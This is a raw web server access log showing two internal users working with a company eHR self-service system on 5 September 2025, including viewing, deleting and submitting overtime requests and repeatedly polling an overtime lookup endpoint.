192.168.12.100 - - [05/Sep/2025:08:37:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.11.68 - - [05/Sep/2025:08:38:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:38:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.68 - - [05/Sep/2025:08:38:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:38:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.12.100 - - [05/Sep/2025:08:37:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167966
192.168.12.100 - - [05/Sep/2025:08:37:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167966 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&action=delete&overtime_flowseqno=1312736 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&action=delete&overtime_flowseqno=1312736 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:38:07 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1312736+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105
192.168.12.100 - - [05/Sep/2025:08:38:07 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1312736+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.12.100 - - [05/Sep/2025:08:38:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167735 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167735
192.168.11.68 - - [05/Sep/2025:08:38:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17019235018301204 HTTP/1.1" 200 8988
192.168.11.68 - - [05/Sep/2025:08:38:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17019235018301204 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.100 - - [05/Sep/2025:08:38:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&action=delete&overtime_flowseqno=1312735 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&action=delete&overtime_flowseqno=1312735 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:38:19 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1312735+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105
192.168.12.100 - - [05/Sep/2025:08:38:19 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1312735+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:38:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.68 - - [05/Sep/2025:08:38:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17019235018301204 HTTP/1.1" 200 27500
192.168.11.68 - - [05/Sep/2025:08:38:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17019235018301204 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17019235018301204" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.100 - - [05/Sep/2025:08:38:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:38:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:38:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.68 - - [05/Sep/2025:08:38:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068
192.168.11.68 - - [05/Sep/2025:08:38:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:38:34 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.68 - - [05/Sep/2025:08:38:34 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:38:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:38:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.12.100 - - [05/Sep/2025:08:38:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:38:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:34 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.12.100 - - [05/Sep/2025:08:38:34 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:38:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:38:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.68 - - [05/Sep/2025:08:38:40 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.68 - - [05/Sep/2025:08:38:40 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:38:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [05/Sep/2025:08:38:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.100 - - [05/Sep/2025:08:38:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:38:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:38:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:38:47 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:47 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.12.100 - - [05/Sep/2025:08:38:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:38:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:38:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.68 - - [05/Sep/2025:08:38:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8207783346425007 HTTP/1.1" 200 8988
192.168.11.68 - - [05/Sep/2025:08:38:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8207783346425007 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.100 - - [05/Sep/2025:08:38:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:38:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:38:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:38:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:39:00 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:00 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.68 - - [05/Sep/2025:08:38:55 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8207783346425007 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8207783346425007" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:38:55 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8207783346425007 HTTP/1.1" 200 27500
192.168.12.100 - - [05/Sep/2025:08:39:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:39:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
